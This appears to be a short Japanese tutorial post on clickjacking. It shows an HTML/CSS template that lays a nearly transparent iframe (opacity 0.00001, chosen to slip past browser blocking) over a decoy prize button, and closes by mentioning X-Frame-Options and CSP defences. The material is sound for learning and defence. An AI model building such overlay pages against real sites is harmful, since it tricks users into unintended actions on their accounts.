Hello there, ('ω')ノ
🧠 クリックジャッキング攻撃の仕組み
クリックジャッキングでは、攻撃者が透明なiframeで本物のウェブサイトを表示し、その上に見せかけのコンテンツ(デコイ)を重ねて配置します。
ユーザーがデコイのボタンやリンクをクリックすると、実際には背後にある本物のiframeのボタンを押してしまう仕組みです。
🛠 基本的な構成例(HTML + CSS)
以下は、攻撃者が構築するクリックジャッキングページのHTMLコードです:
<head> <style> #target_website { position:relative; width:128px; height:128px; opacity:0.00001; /* iframe をほぼ完全に透明化 */ z-index:2; /* iframe を最前面に */ } #decoy_website { position:absolute; width:300px; height:400px; z-index:1; /* 背景として配置 */ } </style> </head> <body> <div id="decoy_website"> <!-- 魅力的なボタンなどのダミーコンテンツ --> <button>賞品を受け取る!</button> </div> <!-- 本物のウェブサイトを読み込む透明なiframe --> <iframe id="target_website" src="https://vulnerable-website.com"></iframe> </body>
⚙️ 各設定の役割
属性 | 説明 |
---|---|
position |
absolute や relative を使用して 正確な重ね合わせ を実現 |
z-index |
どのレイヤーを前面に表示するかを指定。数値が大きいほど前面に表示 |
opacity |
iframeをユーザーから見えなくするために 限りなく0に設定 |
💡
opacity
を 0.00001 にするのは、完全な透明(0)だと一部のブラウザ(Chrome 76以降など)にブロックされる可能性があるためです。
🚨 注意点と対策
- 現在の多くのブラウザは
X-Frame-Options
やContent-Security-Policy
によってクリックジャッキング対策が施されています。 - それでも対策が甘いサイトに対しては、上記のようなコードで不正操作を誘発する可能性があります。
✅ まとめ
- クリックジャッキングは、iframeの重ね合わせと透明化によってユーザーの操作を騙す攻撃。
- 基本的には CSSで位置調整し、透明なiframeを前面に出すことで成立します。
- 最新のブラウザやセキュリティヘッダーを無視したサイトは依然として狙われやすいため、対策は必須です。
Best regards, (^^ゞ